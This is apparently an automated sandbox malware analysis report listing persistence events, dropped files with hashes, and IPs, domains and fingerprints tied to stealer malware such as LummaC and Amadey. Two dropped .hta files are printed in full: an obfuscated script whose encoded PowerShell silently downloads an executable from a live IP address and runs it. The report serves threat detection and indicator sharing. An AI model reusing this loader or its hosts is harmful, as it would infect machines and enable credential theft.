11:40:12	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:40:18	API Interceptor	2x Sleep call for process: svchost.exe modified
17:38:22	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
17:40:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5f6d06eefa.exe C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe
17:40:19	Task Scheduler	Run new task: TFEmhma7T5L path: mshta s>"C:\Temp\2alGwEWbJ.hta"
17:40:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run am_no.cmd C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd
17:40:24	Task Scheduler	Run new task: xDvMwmaSqhU path: mshta s>"C:\Temp\Pn8FljxwM.hta"
17:40:26	Task Scheduler	Run new task: axplong path: C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
17:40:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5f6d06eefa.exe C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe
17:40:29	Task Scheduler	Run new task: AK0umevDGbP path: mshta s>"C:\Temp\2alGwEWbJ.hta"
17:40:29	Task Scheduler	Run new task: tkS0Yevpb95 path: mshta s>"C:\Temp\Pn8FljxwM.hta"
17:40:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run am_no.cmd C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd
17:41:06	Task Scheduler	Run new task: uMgkXmaISdV path: mshta s>"C:\Temp\UwTmrgGRX.hta"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, Poverty Stealer, PureLog Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	same.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	Fi3ptS6O8D.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	mDuCbT8LnH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
185.244.212.106	5EfYBe3nch.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LiteHTTP Bot, LummaC Stealer, Poverty Stealer, Stealc	Browse
	random.exe	Get hash	malicious	Poverty Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	file.exe	Get hash	malicious	Poverty Stealer	Browse
	file.exe	Get hash	malicious	Poverty Stealer	Browse
	file.exe	Get hash	malicious	Poverty Stealer	Browse
	j95Whg3AY1.exe	Get hash	malicious	Poverty Stealer	Browse
	F7fahhucBo.exe	Get hash	malicious	Poverty Stealer	Browse
	IxE6TjWjRM.exe	Get hash	malicious	Poverty Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
marka4.cyou	build.exe	Get hash	malicious	Vidar	Browse	116.203.166.124
bg.microsoft.map.fastly.net	Axion.exe	Get hash	malicious	SheetRat	Browse	199.232.210.172
	eufS6WOuOx.exe	Get hash	malicious	DCRat	Browse	199.232.214.172
	hgTNnG8vjD.exe	Get hash	malicious	DarkComet	Browse	199.232.210.172
	https://pub-ce1f93897bdf44e9b1cd99ad0325c570.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
steamcommunity.com	TBI87y49f9.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	H5JVfa61AV.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	2EG0jAmtY6.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	rii2.mp3.hta	Get hash	malicious	LummaC	Browse	104.102.49.254
	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	x.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SDIO_R773.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	176.113.115.170_3.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254
	4kN17cL4Tn.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	5tmmrpv3dn.exe	Get hash	malicious	LummaC Stealer	Browse	104.102.49.254
misha-lomonosov.com	rii2.mp3.hta	Get hash	malicious	LummaC	Browse	104.21.14.233
misha-lomonosov.com	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	172.67.160.193

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
M247GB	80P.exe	Get hash	malicious	I2PRAT	Browse	193.148.16.211
	ssb.elf	Get hash	malicious	Gafgyt	Browse	89.33.192.138
	sss.elf	Get hash	malicious	Gafgyt	Browse	89.33.192.138
	Space.i686.elf	Get hash	malicious	Unknown	Browse	212.81.47.243
	Space.arm.elf	Get hash	malicious	Mirai	Browse	212.81.47.243
	Space.sh4.elf	Get hash	malicious	Unknown	Browse	212.81.47.243
	Space.mips.elf	Get hash	malicious	Unknown	Browse	212.81.47.243
	Space.mpsl.elf	Get hash	malicious	Unknown	Browse	212.81.47.243
	Space.arm6.elf	Get hash	malicious	Unknown	Browse	212.81.47.243
	Space.ppc.elf	Get hash	malicious	Unknown	Browse	212.81.47.243
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, Poverty Stealer, PureLog Stealer	Browse	185.215.113.16
	same.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.206
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Fi3ptS6O8D.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	random(4).exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	random(6).exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	EdYEXasNiR.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	SMmAznmdAa.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
AS-CHOOPAUS	9d2h99wrj.exe	Get hash	malicious	Xmrig	Browse	192.248.189.11
	Solara.exe	Get hash	malicious	Python Stealer, Exela Stealer, Xmrig	Browse	80.240.16.67
	80P.exe	Get hash	malicious	I2PRAT	Browse	207.246.88.73
	4.elf	Get hash	malicious	Unknown	Browse	44.40.164.148
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	78.141.202.204
	Fantazy.mpsl.elf	Get hash	malicious	Unknown	Browse	44.40.164.150
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse	192.248.189.11
	miori.x86.elf	Get hash	malicious	Unknown	Browse	44.175.18.157
	xmr new.exe	Get hash	malicious	Xmrig	Browse	80.240.16.67
	eth.exe	Get hash	malicious	Xmrig	Browse	192.248.189.11

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	sE5IdDeTp2.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	TBI87y49f9.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	H5JVfa61AV.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	2EG0jAmtY6.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	5vrRrFN56j.exe	Get hash	malicious	Bdaejec	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	rii2.mp3.hta	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	installer_1.05_37.4.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.14.233 172.67.161.160
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.14.233 172.67.161.160
37f463bf4616ecd445d4a1937da06e19	setup.msi	Get hash	malicious	Unknown	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	Setup.msi	Get hash	malicious	Unknown	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	gem2.exe	Get hash	malicious	Unknown	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	1387457-38765948.15.exe	Get hash	malicious	Nitol	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	1387457-38765948.15.exe	Get hash	malicious	Unknown	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	build.exe	Get hash	malicious	Vidar	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	zmpZMfK1b4.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	116.203.166.124 149.154.167.99 162.0.209.157
	ix8kxoBHDb.exe	Get hash	malicious	Remcos, GuLoader	Browse	116.203.166.124 149.154.167.99 162.0.209.157

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066901136945908
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq/:2JIB/wUKUKQncEmYRTwh0D
MD5:	2F05102248A199411275154477C808FA
SHA1:	82EA3479B82CAEB4351D19B6EE73D3FF08E3375F
SHA-256:	94600924D2DE0542F52CF2FF293F8CFC9CF06539E658BDFC77F0F2F9ABD20422
SHA-512:	C31E03549A58BD7C1C107C281CADD7F06AEC5B623537335F74E166E8BF9ED309DA95549B59DD13482196A0B093CEE947413114305D75B27DFFEC93F5B650131D
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6cc1f6d9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899408447260119
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	4A550D1B653C5B4BB4DC2105126437C4
SHA1:	1DF837AD8C4F34CDCEDF88E57F9D876DAAB48DE5
SHA-256:	B05222B2BCB8A1D80AF870E1AC0E01FEA89F425C3771A696A7B2342B6DD99FF1
SHA-512:	4BE5509AFF4A49120C855B181C48648BAFFAA6BC071E4DF5DF68F074DE2C7E775836CBE94508A2AA2251139C4976C22D0FF6DE909156A34B97EDBA5CD904AB53
Malicious:	false
Preview:	l...... ...............X\...;...{......................0.`.....42...{5..(...}o.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................qlO.(...}..................Hq..(...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08114930974985624
Encrypted:	false
SSDEEP:	3:iPm/tKYeBDqeqNt/57Dek3JKOpMyllEqW3l/TjzzQ/t:iOtKzBDiPR3tNmd8/
MD5:	7D3F91CDF002B8A680B2E3B1A2884220
SHA1:	F509C925CA66A7AE40853845D9D2A54806C8DA9B
SHA-256:	B920FBAC530FD02AE2E2FBCBFB0CD630C57EF72A32E97F0E76C878EBFA48C073
SHA-512:	FD45B9D3E7AA0DC3820F4FE4078FC5085F9A5CD4E0C6691703FF5FD2A0169CF1FD8E7BDF165D1AE0C475D5FB4A7641D615A46628A1D054B252A920BDFF30657A
Malicious:	false
Preview:	"W.......................................;...{...(...}..42...{5.........42...{5.42...{5...Y.42...{59................Hq..(...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_HNsLLEj.exe_4914570bbf22a402e2577d389688dfd4e9e38f6_3c4e8fc8_780bf1b3-21c6-4412-8911-2c3031726012\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9005337939749786
Encrypted:	false
SSDEEP:	192:kRHkscc91MA0LR3bfgaGGzuiFoZ24IO8oS:w/cc91MbLR30aHzuiFoY4IO8f
MD5:	26E55D664A70AA8B31C0CE1DFCE456A6
SHA1:	F6D76351811DBC7811E25B26FE0D7647B3E6A546
SHA-256:	205EA42548C07631C458A9A539CEFE2EE1A0B5C4ADAA8E5ED10A06B10A9A4D5D
SHA-512:	9F60F312EF0B5F4CA7A2A21A75BD86CC34685F7086C9470491BD85DF7C0CE9C93CCFA48759E8F0A571E26D628A8A3A0A8AE704FC04F7190EA5EFA6F4915F5F50
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.1.1.7.3.5.9.5.1.5.2.6.5.4.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.1.1.7.3.5.9.5.9.3.3.8.8.9.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.8.0.b.f.1.b.3.-.2.1.c.6.-.4.4.1.2.-.8.9.1.1.-.2.c.3.0.3.1.7.2.6.0.1.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.7.3.7.6.7.7.b.-.c.b.7.c.-.4.7.6.5.-.8.d.7.2.-.8.9.8.4.5.c.2.9.7.2.8.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.H.N.s.L.L.E.j...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.H.a.n.d.l.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.7.8.-.0.0.0.1.-.0.0.1.4.-.8.8.7.5.-.b.6.9.b.1.0.6.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.7.6.0.a.9.d.a.9.4.f.1.f.3.a.d.5.1.8.8.d.7.a.e.e.2.1.7.d.4.7.0.0.0.0.0.0.0.0.!.0.0.0.0.1.8.b.a.6.2.f.d.0.c.1.3.2.d.a.c.1.6.5.1.c.7.d.5.6.3.9.f.3.e.f.1.0.a.e.f.f.2.f.c.!.H.N.s.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5B1A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Jan 12 16:39:55 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	153340
Entropy (8bit):	3.7676220812647485
Encrypted:	false
SSDEEP:	1536:OdSxLTg9uBojRmM0dIKeCDJraAptTispN4uE2aOwOS:OdALTgbmpl9lvN4uEqwO
MD5:	9037591C606D002B2C86B982F7794127
SHA1:	39433094D0D3C46FF867F4471F05327AFD0618D5
SHA-256:	43C6A5DAED75A63E303DEA5D1074777844F5356217FF62BF3ABE75972DA57789
SHA-512:	2479D9AD38B9EB27869FB57E6ED721FB39AAEE89B9434BCE5BABB1E6B830922D2F6F1455054CD3C5FBD46297F86F64D50271AC464773AF90CA7B67146DC1EDE8
Malicious:	false
Preview:	MDMP..a..... .......[..g....................................<................/..........`.......8...........T...........($...2......................................................................................................eJ......h.......GenuineIntel............T.......x...Z..g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5C73.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8354
Entropy (8bit):	3.6968796232208705
Encrypted:	false
SSDEEP:	192:R6l7wVeJRi6UU6Ykq6MxO6gmf4aVJ/86pr389b4DsfwHLIm:R6lXJU6n6Yx68gmf4aVJ/8H4ofwR
MD5:	7AFA9E7BBAC87A0972F1D8C21C2A1D94
SHA1:	22FDFE997F3A5382DE09167C67D12FB2213E5189
SHA-256:	2D2AB71D6014CD41B8BCB5811FBFEB8327B3B69FA298116B3E649A4976030BD4
SHA-512:	AFFF6E2D92E86F54F91C74596383C1818A29959D3D3AB9649429A852F335F79509A41DF8D544ED2A0540AC4F400362BD3CFB876C9FF2D98C68853A1470E135C7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.5.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5CB2.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4735
Entropy (8bit):	4.467592340148292
Encrypted:	false
SSDEEP:	48:cvIwWl8zsyJg77aI9ljqWpW8VYuPYm8M4JtdxPcf6FZ+q8vKdxPcff0Q/yId:uIjfAI77L7VLSJCfmKfff0Q/yId
MD5:	A8BDBC4735371302B454A72DE2A399AF
SHA1:	C9DC9300F701324CADDF8C93692587FA941DFEE4
SHA-256:	69026CA004B960BD58B5D3145324247CAE868014D563319171A85549546CBF24
SHA-512:	9830B36F055EC3209069E1D3BE8559BABDF919A58C1B2F9CB2739D3A278C9EC61253A7C879826F784774E20085E8A6B1E92720A8FF142996104E27306626D167
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="672942" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\lxb1v\dtjmy5

Download File

Process:	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Temp\2alGwEWbJ.hta

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	HTML document, ASCII text, with very long lines (601), with CRLF line terminators
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.464719371828301
Encrypted:	false
SSDEEP:	24:7ZoKJ6HK1rQwoAqc6AVEGbTKNcqfpWmYsCW4OMv:7ZfJ6LLfxAX3KGqBCZRv
MD5:	16D76E35BAEB05BC069A12DCE9DA83F9
SHA1:	F419FD74265369666595C7CE7823EF75B40B2768
SHA-256:	456B0F7B0BE895AF21C11AF10A2F10CE0F02EAD47BDF1DE8117D4DB4F7E4C3E7
SHA-512:	4063EFB47EDF9F8B64EF68AD7A2845C31535F3679B6368F9CB402411C7918B82BD6355982821BFB3B7DE860B5979B8B0355C15F4D18F85D894E2F2C8E95EF18E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Obshtml, Description: Yara detected obfuscated html page, Source: C:\Temp\2alGwEWbJ.hta, Author: Joe Security
Preview:	<script>..try {.. moveTo(-100, -100);.. resizeTo(0, 0);.. var a = new ActiveXObject('Wscript.Shell');.. var script = decodeURIComponent("%50%6f%77%65%72%53%68%65%6c%6c%20%2d%57%69%6e%64%6f%77%53%74%79%6c%65%20%48%69%64%64%65%6e%20%24%64%3d%24%65%6e%76%3a%74%65%6d%70%2b%27%5c%34%38%33%64%32%66%61%38%61%30%64%35%33%38%31%38%33%30%36%65%66%65%62%33%32%64%33%2e%65%78%65%27%3b%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%3a%2f%2f%31%38%35%2e%32%31%35%2e%31%31%33%2e%31%36%2f%6d%69%6e%65%2f%72%61%6e%64%6f%6d%2e%65%78%65%27%2c%24%64%29%3b%53%74%61%72%74%2d%50%72%6f%63%65%73%73%20%24%64%3b");.. a.Run(script, 0, false);..} catch (e) {}..close();..</script>..

C:\Temp\Pn8FljxwM.hta

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	HTML document, ASCII text, with very long lines (601), with CRLF line terminators
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.464719371828301
Encrypted:	false
SSDEEP:	24:7ZoKJ6HK1rQwoAqc6AVEGbTKNcqfpWmYsCW4OMv:7ZfJ6LLfxAX3KGqBCZRv
MD5:	16D76E35BAEB05BC069A12DCE9DA83F9
SHA1:	F419FD74265369666595C7CE7823EF75B40B2768
SHA-256:	456B0F7B0BE895AF21C11AF10A2F10CE0F02EAD47BDF1DE8117D4DB4F7E4C3E7
SHA-512:	4063EFB47EDF9F8B64EF68AD7A2845C31535F3679B6368F9CB402411C7918B82BD6355982821BFB3B7DE860B5979B8B0355C15F4D18F85D894E2F2C8E95EF18E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Obshtml, Description: Yara detected obfuscated html page, Source: C:\Temp\Pn8FljxwM.hta, Author: Joe Security
Preview:	<script>..try {.. moveTo(-100, -100);.. resizeTo(0, 0);.. var a = new ActiveXObject('Wscript.Shell');.. var script = decodeURIComponent("%50%6f%77%65%72%53%68%65%6c%6c%20%2d%57%69%6e%64%6f%77%53%74%79%6c%65%20%48%69%64%64%65%6e%20%24%64%3d%24%65%6e%76%3a%74%65%6d%70%2b%27%5c%34%38%33%64%32%66%61%38%61%30%64%35%33%38%31%38%33%30%36%65%66%65%62%33%32%64%33%2e%65%78%65%27%3b%28%4e%65%77%2d%4f%62%6a%65%63%74%20%53%79%73%74%65%6d%2e%4e%65%74%2e%57%65%62%43%6c%69%65%6e%74%29%2e%44%6f%77%6e%6c%6f%61%64%46%69%6c%65%28%27%68%74%74%70%3a%2f%2f%31%38%35%2e%32%31%35%2e%31%31%33%2e%31%36%2f%6d%69%6e%65%2f%72%61%6e%64%6f%6d%2e%65%78%65%27%2c%24%64%29%3b%53%74%61%72%74%2d%50%72%6f%63%65%73%73%20%24%64%3b");.. a.Run(script, 0, false);..} catch (e) {}..close();..</script>..

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
